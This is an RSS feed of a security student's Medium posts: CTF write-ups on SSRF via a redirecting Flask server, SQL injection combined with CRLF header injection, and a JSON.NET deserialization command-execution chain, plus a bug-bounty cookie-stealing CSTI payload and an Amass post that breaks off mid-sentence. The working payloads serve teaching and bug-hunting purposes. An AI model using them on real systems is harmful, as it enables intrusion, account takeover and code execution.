<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kyrillos Maged on Medium]]></title>
        <description><![CDATA[Stories by Kyrillos Maged on Medium]]></description>
        <link>https://medium.com/@kokomagedd?source=rss-92e7cb8bfa79------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*PmuKAUBAcyzYI6MT</url>
            <title>Stories by Kyrillos Maged on Medium</title>
            <link>https://medium.com/@kokomagedd?source=rss-92e7cb8bfa79------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 06:33:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kokomagedd/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting Server-Side Request Forgery (SSRF) Through Image Validation Bypass]]></title>
            <link>https://kokomagedd.medium.com/exploiting-server-side-request-forgery-ssrf-through-image-validation-bypass-2432936fb9d4?source=rss-92e7cb8bfa79------2</link>
            <guid isPermaLink="false">https://medium.com/p/2432936fb9d4</guid>
            <category><![CDATA[ssrf-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Kyrillos Maged]]></dc:creator>
            <pubDate>Mon, 29 Jul 2024 06:18:13 GMT</pubDate>
            <atom:updated>2024-07-29T06:18:13.229Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, my name is Kyrillos. Today, I’ll discuss how to bypass protections against Server-Side Request Forgery (SSRF). I’ll cover the “Image Viewer” challenge, which was part of the ICMTC CTF 2024 finals where our team L3mon secured 2nd place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*_LvBerkLkAb0AKqZzEiJ-w.png" /></figure><p>we have a website that takes a url of a png and display it , there were no source code so we will do our black box test.</p><p>our url must point to png file and use http scheme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*lbQHCQ8kt4qz881rOtV1OQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*rhGPbRk3haOI_u0q6CfVcw.png" /></figure><p>I started a simple python server to host a png image and used ngrok to make it public. there is a small trick about ngrok to avoid the annoying warning message when you use http or https protcol you can use tcp instead</p><pre>ngrok tcp 9999</pre><p>then replace the tcp scheme in the given public url with http</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*GUTcA7zx-5SXO0_81t6B5g.png" /></figure><p>now we have no clue how the server works and fetchs the image so i used my server to see anything could be intersting. then I noticed that when i send a url of a png image there is 2 requests made to get it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*8abpFxKXhJFaYkBBs7cmiA.png" /></figure><p>I thought that maybe it is similar to “<a href="https://unit42.paloaltonetworks.com/dns-rebinding/">DNS Rebinding Attack</a>” where there are 2 seprate requests made the first one for security checks and the seconed one to fetch the data, and here the issue exist that in our case an attacker can manipulate the same url to serve different responses based on times been requested. for example first time serve png image seconed time redirect to local url.</p><p>so i made this simple flask server which serve a png for the first time and the seconed time it redirects to “file:///tmp/flag.txt”</p><pre>from flask import Flask, send_from_directory, request, abort,redirect<br><br>app = Flask(__name__)<br><br># Dictionary to keep track of requests<br>request_counter = {}<br><br>@app.route(&#39;/&lt;path:filename&gt;&#39;)<br>def serve_file(filename):<br>    global request_counter<br>    <br>    # Initialize the request counter for this filename if not already present<br>    if filename not in request_counter:<br>        request_counter[filename] = 0<br><br>    # Increment the counter<br>    request_counter[filename] += 1<br><br>    # Check if it&#39;s the second request for the filename<br>    if request_counter[filename] == 2:<br>        # Return the /tmp/flag.txt file instead of the requested filename<br>        return redirect(&#39;file:///tmp/flag.txt&#39;)<br><br>    # Otherwise, serve the requested file<br>    return send_from_directory(&#39;.&#39;, filename)<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;127.0.0.1&#39;, port=9999, debug=True)</pre><p>send the new server url to the app, as we see the redirect worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNj55A8RfD8a9j8CtNVC8g.png" /></figure><p>this is the look of the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*LhQPc6ie3NQlc_Y1eFbjQA.png" /></figure><p>if we checked the src code we will find</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*_HJ0fqYaPyITuc1bRA_fTA.png" /></figure><p>decode the data and then get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PSX4r_O6OqJjAtDRfZfZqg.png" /></figure><p>hope you enjoyed and feel free to connect and contact with me at:</p><ul><li><a href="https://www.linkedin.com/in/kyrillos-maged-b851371a6/">LinkedIn</a></li><li><a href="https://github.com/kiro6">GitHub</a></li><li><a href="https://x.com/kokomagedd">X</a></li><li><a href="https://www.facebook.com/kiromaged1234/">Facebook</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2432936fb9d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP-Only Sessions: No Problem? ATO Still Lurks via XSS!]]></title>
            <link>https://kokomagedd.medium.com/http-only-sessions-no-problem-ato-still-lurks-via-xss-d415dec701d0?source=rss-92e7cb8bfa79------2</link>
            <guid isPermaLink="false">https://medium.com/p/d415dec701d0</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Kyrillos Maged]]></dc:creator>
            <pubDate>Thu, 22 Feb 2024 11:24:57 GMT</pubDate>
            <atom:updated>2024-02-22T14:23:41.445Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, I’m Kyrillos Maged, a cybersecurity student. I’m currently focused on learning and expanding my knowledge in security, but I also engage in bug hunting from time to time</p><p>today I want to share a finding with 2 tricks that got me p2, I hope you find them useful.</p><p>Note: this Bug is now resolved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*scrfI236rIc74WPdCTzBHQ.png" /></figure><p>Lets reefer to the site as “example.com”, one of the site functions is the site allows you to create collections for your assets (notes,images,…) and sharing them with anyone through a link.</p><h3>Steps</h3><ol><li>I created a collection and tried to inject it with XSS stuff, but it was HTML encoded or filtered</li><li>there are a lot of things to inject more than XSS, so I tried SSTI payloads</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*Iw-mSH_I-ysiR_nViwLaCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*ytdUw402FLwkGfvBXJCa6g.png" /></figure><p>3. as you see, my payload is evaluated. I thought that I got a SSTI, but quickly I realized that it’s Client side template injection (CSTI)</p><p>4. Here’s Tip 1: There are numerous ways to inject JavaScript aside from HTML tags. For example, uploaded files like SVG can also be utilized. Additionally, in our scenario, since the site is using Angular, Client-Side Template Injection (CSTI) is a potential vulnerability as well.</p><p>5. Now we have stored XSS, but we need an impact right ? The best result from XSS is to get another users’ sessions, but the session cookie had HTTP only flag site</p><p>6. Here’s Tip 2: I always check for ‘Remember Me’ cookies if they had HTTP-only flag set when I am testing.</p><p><em>Did you know that when you log in to a website, you often see a ‘Remember Me’ checkbox? The ‘Remember Me’ token functions exactly like a session token but has a longer expiration time. Sometimes, developers prioritize securing session cookies and overlook the importance of securing ‘Remember Me’ cookies, even though they are equally significant. So if we got ‘Remember Me’ cookie we got Account take over</em></p><p>7. here’s the payload that I used to access the ‘Remember Me’ cookie</p><pre>{{$on.constructor(&#39;alert(document.cookie)&#39;)()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*iSILGsUEVTLLUjFEZMBA8w.png" /></figure><p>8. now we can share the collection with a trusted URL given by the site to anyone and steal his cookies. In addition to that, any friend of us in site can see the collection name which contains the injection. If the collection was set to public</p><p>I hope you found this article useful !</p><p>You can follow me in:</p><ul><li><a href="https://www.linkedin.com/in/kyrillos-maged-b851371a6/">LinkedIn</a></li><li><a href="https://kokomagedd.medium.com/">Medium</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d415dec701d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB University CTF 2023 Web writeups]]></title>
            <link>https://kokomagedd.medium.com/htb-university-ctf-2023-web-writeups-fcbcc5181b0b?source=rss-92e7cb8bfa79------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcbcc5181b0b</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[insecure-deserialization]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[http-request-smuggling]]></category>
            <dc:creator><![CDATA[Kyrillos Maged]]></dc:creator>
            <pubDate>Sun, 10 Dec 2023 21:02:00 GMT</pubDate>
            <atom:updated>2023-12-10T21:02:00.902Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*moafsETIL2E7vGCyN82OEQ.png" /></figure><p>The web challenges depended on the source code review i have solved 2 out 3 web challenges</p><h3>GateCrash challenge</h3><p>we have a login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*NtpNgd21IHqT9MQOki8xiQ.png" /></figure><p>on the backend we have a proxy written in <strong>nim programming language </strong>i did not know that it is exits before the CTF Lamo</p><pre>import asyncdispatch, strutils, jester, httpClient, json<br>import std/uri<br><br>const userApi = &quot;http://127.0.0.1:9090&quot;<br><br>proc msgjson(msg: string): string =<br>  &quot;&quot;&quot;{&quot;msg&quot;: &quot;$#&quot;}&quot;&quot;&quot; % [msg]<br><br>proc containsSqlInjection(input: string): bool =<br>  for c in input:<br>    let ordC = ord(c)<br>    if not ((ordC &gt;= ord(&#39;a&#39;) and ordC &lt;= ord(&#39;z&#39;)) or<br>            (ordC &gt;= ord(&#39;A&#39;) and ordC &lt;= ord(&#39;Z&#39;)) or<br>            (ordC &gt;= ord(&#39;0&#39;) and ordC &lt;= ord(&#39;9&#39;))):<br>      return true<br>  return false<br><br>settings:<br>  port = Port 1337<br><br>routes:<br>  post &quot;/user&quot;:<br>    let username = @&quot;username&quot;<br>    let password = @&quot;password&quot;<br><br>    if containsSqlInjection(username) or containsSqlInjection(password):<br>      resp msgjson(&quot;Malicious input detected&quot;)<br><br>    let userAgent = decodeUrl(request.headers[&quot;user-agent&quot;])<br><br>    let jsonData = %*{<br>      &quot;username&quot;: username,<br>      &quot;password&quot;: password<br>    }<br><br>    let jsonStr = $jsonData<br><br>    let client = newHttpClient(userAgent)<br>    client.headers = newHttpHeaders({&quot;Content-Type&quot;: &quot;application/json&quot;})<br><br>    let response = client.request(userApi &amp; &quot;/login&quot;, httpMethod = HttpPost, body = jsonStr)<br><br>    if response.code != Http200:<br>      resp msgjson(response.body.strip())<br>       <br>    resp msgjson(readFile(&quot;/flag.txt&quot;))<br><br>runForever()</pre><p>and a backend code written in go</p><pre>package main<br><br>import (<br> &quot;crypto/rand&quot;<br> &quot;database/sql&quot;<br> &quot;encoding/hex&quot;<br> &quot;encoding/json&quot;<br> &quot;fmt&quot;<br> &quot;log&quot;<br> &quot;net/http&quot;<br> &quot;strconv&quot;<br> &quot;strings&quot;<br><br> &quot;github.com/gorilla/mux&quot;<br> _ &quot;github.com/mattn/go-sqlite3&quot;<br> &quot;golang.org/x/crypto/bcrypt&quot;<br>)<br><br>var db *sql.DB<br>var allowedUserAgents = []string{<br> &quot;Mozilla/7.0&quot;,<br> &quot;ChromeBot/9.5&quot;,<br> &quot;SafariX/12.2&quot;,<br> &quot;QuantumBreeze/3.0&quot;,<br> &quot;EdgeWave/5.1&quot;,<br> &quot;Dragonfly/8.0&quot;,<br> &quot;LynxProwler/2.7&quot;,<br> &quot;NavigatorX/4.3&quot;,<br> &quot;BraveCat/1.8&quot;,<br> &quot;OceanaBrowser/6.5&quot;,<br>}<br><br>const (<br> sqlitePath = &quot;./user.db&quot;<br> webPort    = 9090<br>)<br><br>type User struct {<br> ID       int<br> Username string<br> Password string<br>}<br><br>func randomHex(n int) (string, error) {<br> bytes := make([]byte, n)<br> if _, err := rand.Read(bytes); err != nil {<br>  return &quot;&quot;, err<br> }<br> return hex.EncodeToString(bytes), nil<br>}<br><br>func seedDatabase() {<br> createTable := `<br> CREATE TABLE IF NOT EXISTS users (<br>  id INTEGER PRIMARY KEY AUTOINCREMENT,<br>  username TEXT NOT NULL,<br>  password TEXT NOT NULL<br> );<br> `<br><br> _, err := db.Exec(createTable)<br> if err != nil {<br>  log.Fatal(err)<br> }<br><br> for i := 0; i &lt; 10; i++ {<br>  newUser, _ := randomHex(32)<br>  newPass, _ := randomHex(32)<br><br>  hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPass), bcrypt.DefaultCost)<br>  if err != nil {<br>   fmt.Println(err)<br>   return<br>  }<br><br>  _, err = db.Exec(&quot;INSERT INTO users (username, password) VALUES (&#39;&quot; + newUser + &quot;&#39;, &#39;&quot; + string(hashedPassword) + &quot;&#39;);&quot;)<br>  if err != nil {<br>   fmt.Println(err)<br>   return<br>  }<br> }<br>}<br><br>func loginHandler(w http.ResponseWriter, r *http.Request) {<br> found := false<br> for _, userAgent := range allowedUserAgents {<br>  if strings.Contains(r.Header.Get(&quot;User-Agent&quot;), userAgent) {<br>   found = true<br>   break<br>  }<br> }<br><br> if !found {<br>  http.Error(w, &quot;Browser not supported&quot;, http.StatusNotAcceptable)<br>  return<br> }<br><br> var user User<br> err := json.NewDecoder(r.Body).Decode(&amp;user)<br> if err != nil {<br>  http.Error(w, err.Error(), http.StatusBadRequest)<br>  return<br> }<br><br> userPassword := user.Password<br><br> row := db.QueryRow(&quot;SELECT * FROM users WHERE username=&#39;&quot; + user.Username + &quot;&#39;;&quot;)<br> err = row.Scan(&amp;user.ID, &amp;user.Username, &amp;user.Password)<br> if err != nil {<br>  http.Error(w, &quot;Invalid username or password &quot;+err.Error(), http.StatusUnauthorized)<br>  return<br> }<br><br> err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(userPassword))<br> if err != nil {<br>  http.Error(w, &quot;Invalid compare username or password&quot;+err.Error(), http.StatusUnauthorized)<br>  return<br> }<br><br> w.WriteHeader(http.StatusOK)<br> fmt.Fprintln(w, &quot;Login successful&quot;)<br>}<br><br>func main() {<br> var err error<br> db, err = sql.Open(&quot;sqlite3&quot;, sqlitePath)<br> if err != nil {<br>  log.Fatal(err)<br> }<br> defer db.Close()<br><br> seedDatabase()<br><br> r := mux.NewRouter()<br> r.HandleFunc(&quot;/login&quot;, loginHandler).Methods(&quot;POST&quot;)<br><br> http.Handle(&quot;/&quot;, r)<br> fmt.Println(&quot;Server is running on &quot; + strconv.Itoa(webPort))<br> http.ListenAndServe(&quot;:&quot;+strconv.Itoa(webPort), nil)<br>}</pre><p>i will break through what we knew from the in points to not make the writeup too long</p><p>proxy (nim)</p><ol><li>from the proxy we know that we need to login to get the flag</li><li>the proxy filter every char not in rang [a-zA-Z0–9] so there is no place for sql injection (till now)</li><li>the proxy take the user-agent of the client and send it back to the server</li><li>it take login data as post params and send it to the backend as json</li></ol><p>backend (GO)</p><ol><li>the backend accept only specfic user-agents otherwise will return not supported agent</li><li>there is no sql injection protection</li><li>it search with the username and compare the hash given password with hash of the stored password</li></ol><p>hot to exploit</p><ol><li>notice the user-agent header is taken in <strong>nim </strong>code without any protection , so i thought we can exploit through how the backend parse the request from the proxy</li><li>the GO code use Contain to match the user-agent which is not a good idea because alongside the user agent we can add anything</li><li>we can add CRLF to add headers or payloads to send it directly to the backend and bypass the proxy sqli filter</li><li>before going to the sqli i faced a problem that the json payload must be the same length of the Post data length .My explanation for that is the proxy set the Conent-Length of its request based on the <strong>Post data </strong>not on my payload so i had to make them both the same length</li><li>then make your sqli payload and send</li></ol><pre>(what we send)<br>POST /user HTTP/1.1<br>Host: challenge<br>User-Agent: Mozilla/7.0\r\n\r\n{&quot;username&quot;:&quot;sqli&quot;,&quot;password&quot;:&quot;pass&quot;}<br>Content-Length: n<br>......<br><br>username=&amp;password<br><br>(what the proxy send to the backend)<br><br>POST /login HTTP/1.1<br>Host: internal ip<br>Content-Length: n<br>User-Agent: Mozilla/7.0<br><br><br>{&quot;username&quot;:&quot;sqli&quot;,&quot;password&quot;:&quot;pass&quot;}<br><br>ignroed because of the Content-Length by the parser<br> <br>username=&amp;password</pre><p>Time to Poc :</p><p>i used this go code to create a hash for a password i want to inject</p><pre>package main<br><br>import (<br> &quot;fmt&quot;<br><br> &quot;golang.org/x/crypto/bcrypt&quot;<br>)<br><br>func main() {<br> // Replace &quot;password123&quot; with the actual password you want to hash<br> password := &quot;password123&quot;<br><br> // Hashing the password<br> hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)<br> if err != nil {<br>  fmt.Println(&quot;Error:&quot;, err)<br>  return<br> }<br><br> // Print the hashed password<br> fmt.Println(&quot;Hashed Password:&quot;, string(hashedPassword))<br>}</pre><p>sqli payload used (not it is sqlite) , i return an id , username, hashed password as the server expected , the hash will be compared the password i send in the json</p><pre>asas&#39; union select 1 as id , hackeras username , $2a$10$N2/NBEeXbAL5XqK6l.ZLAuJkZgRcWE9SLcXJlQ.paq/5c0bTqoFne as password  --</pre><p>i used this code to test the server directly on my local machine</p><pre>$ curl &quot;http://localhost:9090/login&quot; -X POST   --data-binary $&#39;{\&quot;username\&quot;:\&quot;asas\&#39; union select 1 as id , \&#39;hacker\&#39; as username , \&#39;$2a$10$N2/NBEeXbAL5XqK6l.ZLAuJkZgRcWE9SLcXJlQ.paq/5c0bTqoFne\&#39; as password  -- \&quot;, \&quot;password\&quot;:\&quot;password123\&quot;}&#39; -H &quot;User-Agent: Mozilla/7.0&quot; -H &quot;Content-Type: application/json&quot;</pre><p>Finally time to get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q94ghFaB7a4ahH30XQBPOQ.png" /></figure><h3>Nexus Void challenge</h3><p>Let’s explore the app we have a login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*y5LJe77pKNfqxgSItAX69g.png" /></figure><p>we can create account and login , we have a shopping app with some functionalities</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZJ6LGSjC6HhgTvZCfmJ_qQ.png" /></figure><p>this CTF based on source code review , the code was made by .NET framework, it was big and took time to review it, so i will post the important parts</p><p>here is where post request is made to add an item to the wishlist , vulnerable to sql injection</p><pre> [HttpPost]<br>        public IActionResult Wishlist(string name, string sellerName)<br>        {<br>            string ID = HttpContext.Items[&quot;ID&quot;].ToString();<br><br>            string sqlQueryGetWishlist = $&quot;SELECT * from Wishlist WHERE ID={ID}&quot;;<br>            var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();<br><br>            string sqlQueryProduct = $&quot;SELECT * from Products WHERE name=&#39;{name}&#39; AND sellerName=&#39;{sellerName}&#39;&quot;;<br>            Console.WriteLine(sqlQueryProduct);<br>            var product = _db.Products.FromSqlRaw(sqlQueryProduct).FirstOrDefault();</pre><p>here where the wishlist data retrieved from the database , the wishlist saved as serialized object then deserialized in here , vulnerable to insecure deserialization injection</p><pre> [HttpGet]<br>        public IActionResult Wishlist()<br>        {<br>            string ID = HttpContext.Items[&quot;ID&quot;].ToString();<br><br>            string sqlQueryGetWishlist = $&quot;SELECT * from Wishlist WHERE ID=&#39;{ID}&#39;&quot;;<br>            var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();<br><br><br>            if (wishlist != null &amp;&amp; !string.IsNullOrEmpty(wishlist.data))<br>            {<br>                List&lt;ProductModel&gt; products = SerializeHelper.Deserialize(wishlist.data);<br>                return View(products);<br><br>            }<br>            else<br>            {<br>                List&lt;ProductModel&gt; products = null;<br>                return View(products);<br><br>            }<br><br>        }</pre><p>here a class used to execute command related to performance on the server , will use in the deserialization</p><pre>using System.Diagnostics;<br><br>namespace Nexus_Void.Helpers<br>{<br>    public class StatusCheckHelper<br>    {<br>        public string output { get; set; }<br><br>        private string _command;<br><br>        public string command <br>        {<br>            get { return _command; }<br><br>            set<br>            {<br>                _command = value;<br>                try<br>                {<br>                    var p = new System.Diagnostics.Process();<br><br>                    var processStartInfo = new ProcessStartInfo()<br>                    {<br>                        WindowStyle = ProcessWindowStyle.Hidden,<br>                        FileName = $&quot;/bin/bash&quot;,<br>                        WorkingDirectory = &quot;/tmp&quot;,<br>                        Arguments = $&quot;-c \&quot;{_command}\&quot;&quot;,<br>                        RedirectStandardOutput = true,<br>                        RedirectStandardError = true,<br>                        UseShellExecute = false<br>                    };<br>                    p.StartInfo = processStartInfo;<br>                    p.Start();<br>                    Console.WriteLine(&quot;command exuted&quot;);<br>                    Console.WriteLine(_command.ToString()); <br>                    Console.WriteLine(&quot;out put&quot;+p.StandardOutput.ReadToEnd());<br>                    output = p.StandardOutput.ReadToEnd();<br>                }<br>                catch <br>                {<br>                    output = &quot;Something went wrong!&quot;;<br>                }<br>                <br>            }<br>        }<br><br><br>    }<br>}</pre><p>i think know it’s obvious what will do , sql injection to inject a malicious serialized object will used later in deserialization to execute code</p><p>it looks simple because i posted the important parts of the code only otherwise the source code space was <strong>150 MB</strong></p><h4>Poc</h4><p>i have tested the docker challenge locally and constructed this sqli payload</p><p>it’s injected in the seller name , and return an object of a product to add in the wishlist to not break the system</p><pre>asaa&#39; union select 1 , &#39;hacker113&#39; ,&#39;/images/weapon.png&#39; , &#39;0 hacked&#39; ,  &#39;hacked&#39; , &#39;my delulu&#39;  ,  &#39;/images/back1.png&#39; )   AS &quot;n&quot; LIMIT 1  ; /*<br><br>asaa&#39; union select 1 , &#39;hacker3&#39; ,&#39;/images/weapon.png&#39; , &#39;0 hacked&#39; ,  &#39;hacked&#39; , &#39;my delulu&#39;  ,  &#39;/images/back1.png&#39; )   AS &quot;n&quot; LIMIT 1 ;  /*<br></pre><p>we succeed to add arbitrary item in our wishlist , but this only half the way</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*9bYEJDEJgToIZjJEs0iHAA.png" /></figure><p>then insert or update other user’s wishlist serialized data, the reason why i did not injected the current user that the code update the serialized data of the user after adding item in the wishlist directly</p><pre>asaa&#39; union select 1 , &#39;hacker113&#39; ,&#39;/images/weapon.png&#39; , &#39;0 hacked&#39; ,  &#39;hacked&#39; , &#39;my delulu&#39;  ,  &#39;/images/back1.png&#39; )   AS &quot;n&quot; LIMIT 1  ;  UPDATE Wishlist SET data=&#39;serialized&#39; WHERE ID=2 ;  /*<br><br>asaa&#39; union select 1 , &#39;hacker3&#39; ,&#39;/images/weapon.png&#39; , &#39;0 hacked&#39; ,  &#39;hacked&#39; , &#39;my delulu&#39;  ,  &#39;/images/back1.png&#39; )   AS &quot;n&quot; LIMIT 1 ;  INSERT INTO Wishlist(ID, username, data)  VALUES(2,&quot;test2&quot;,&quot;serialized&quot;) ; /*</pre><p>but what is the serialized object we will pass and how to create it ?</p><p>StatusCheckHelper class that what we will use , .NET accept various of representation of serialized objects , our challenge use JSON.NET</p><p>using the help of this blog <a href="https://www.vaadata.com/blog/exploiting-and-preventing-insecure-deserialization-vulnerabilities/">https://www.vaadata.com/blog/exploiting-and-preventing-insecure-deserialization-vulnerabilities/</a> i knew how to make the json</p><pre>{&quot;$type&quot;:&quot;Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void&quot;,&quot;command&quot;:&quot;cat /flag.txt &gt; /app/wwwroot/images/flag.txt&quot;}</pre><p>base64 it and add it in the sqli</p><pre>asaa&#39; union select 1 , &#39;hacker113&#39; ,&#39;/images/weapon.png&#39; , &#39;0 hacked&#39; ,  &#39;hacked&#39; , &#39;my delulu&#39;  ,  &#39;/images/back1.png&#39; )   AS &quot;n&quot; LIMIT 1  ;  UPDATE Wishlist SET data=&#39;eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsImNvbW1hbmQiOiJjYXQgL2ZsYWcudHh0ID4gL2FwcC93d3dyb290L2ltYWdlcy9mbGFnLnR4dCAifQo=&#39; WHERE ID=2 ;  /*<br><br><br>asaa&#39; union select 1 , &#39;hacker3&#39; ,&#39;/images/weapon.png&#39; , &#39;0 hacked&#39; ,  &#39;hacked&#39; , &#39;my delulu&#39;  ,  &#39;/images/back1.png&#39; )   AS &quot;n&quot; LIMIT 1 ;  INSERT INTO Wishlist(ID, username, data)  VALUES(2,&quot;test2&quot;,&quot;eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsImNvbW1hbmQiOiJjYXQgL2ZsYWcudHh0ID4gL2FwcC93d3dyb290L2ltYWdlcy9mbGFnIn0K&quot;) ; /*</pre><p>i have created another user , once we request the wishlist page , the server will retrieve our malicious object and execute the code</p><p>back to the json , i copied the flag to a public dir in the server then requested it through the browser</p><pre>HTB{D0tN3t_d3s3r1al1z4t10n_v14_sQL_1NJ3CT10N_1s_fun!}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcbcc5181b0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is new about AMASS]]></title>
            <link>https://kokomagedd.medium.com/new-era-of-discovery-using-amass-8ee41eed39d1?source=rss-92e7cb8bfa79------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ee41eed39d1</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[massa]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kyrillos Maged]]></dc:creator>
            <pubDate>Sun, 08 Oct 2023 08:36:47 GMT</pubDate>
            <atom:updated>2023-10-08T20:05:55.489Z</atom:updated>
            <content:encoded><![CDATA[<p>Amass is a famous discovery tool that is quite popular among security professionals and has recently seen significant improvements, including the introduction of ‘the Open Asset Model and Asset Database’ and ‘oam-tools’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxRDulPhNOZ5FXjwrTefLw.jpeg" /></figure><p>I was using an older version of Amass (v3.23.3) due to using Parrot repositories, which was the latest version before the big changes. Since I prefer using newer versions, I switched to v4.2.0 using Go installation.</p><p>While using it, I found that it removed the subdomains ‘track’, ‘viz’ and ‘db’, and I noticed that the output is completely different from what I was previously familiar with.</p><p>for example:</p><pre>$ amass enum  -d example.com <br> <br> example.com (FQDN) --&gt; ns_record --&gt; a.iana-servers.net (FQDN)<br> example.com (FQDN) --&gt; ns_record --&gt; b.iana-servers.net (FQDN)<br> example.com (FQDN) --&gt; a_record --&gt; 93.184.216.34 (IPAddress)<br> example.com (FQDN) --&gt; aaaa_record --&gt; 2606:2800:220:1:248:1893:25c8:1946 (IPAddress)<br> b.iana-servers.net (FQDN) --&gt; a_record --&gt; 199.43.133.53 (IPAddress)<br> b.iana-servers.net (FQDN) --&gt; aaaa_record --&gt; 2001:500:8d::53 (IPAddress)<br> 93.184.216.0/24 (Netblock) --&gt; contains --&gt; 93.184.216.34 (IPAddress)<br> 15133 (ASN) --&gt; managed_by --&gt; EDGECAST - MCI Communications Services, Inc. d/b/a Verizon Business (RIROrganization)<br> 15133 (ASN) --&gt; announces --&gt; 93.184.216.0/24 (Netblock)<br> a.iana-servers.net (FQDN) --&gt; a_record --&gt; 199.43.135.53 (IPAddress)<br> a.iana-servers.net (FQDN) --&gt; aaaa_record --&gt; 2001:500:8f::53 (IPAddress)<br> 2001:500:8f::/48 (Netblock) --&gt; contains --&gt; 2001:500:8f::53 (IPAddress)<br> 199.43.135.0/24 (Netblock) --&gt; contains --&gt; 199.43.135.53 (IPAddress)<br> 2001:500:8d::/48 (Netblock) --&gt; contains --&gt; 2001:500:8d::53 (IPAddress)<br> 199.43.133.0/24 (Netblock) --&gt; contains --&gt; 199.43.133.53 (IPAddress)<br> 2606:2800:220::/48 (Netblock) --&gt; contains --&gt; 2606:2800:220:1:248:1893:25c8:1946 (IPAddress)<br> 26710 (ASN) --&gt; managed_by --&gt; ICANN-ANYCASTED-SERVICES - ICANN (RIROrganization)<br> 26710 (ASN) --&gt; announces --&gt; 2001:500:8f::/48 (Netblock)<br> 26710 (ASN) --&gt; announces --&gt; 199.43.135.0/24 (Netblock)<br> 26710 (ASN) --&gt; announces --&gt; 2001:500:8d::/48 (Netblock)<br> 26710 (ASN) --&gt; announces --&gt; 199.43.133.0/24 (Netblock)<br> 15133 (ASN) --&gt; announces --&gt; 2606:2800:220::/48 (Netblock)<br> www.example.com (FQDN) --&gt; a_record --&gt; 93.184.216.34 (IPAddress)<br> www.example.com (FQDN) --&gt; aaaa_record --&gt; 2606:2800:220:1:248:1893:25c8:1946 (IPAddress)<br><br>The enumeration has finished</pre><p>When I went back to the GitHub repository, I found that starting from v4, they had introduced ‘the Open Asset Model and Asset Database’</p><blockquote>According to <a 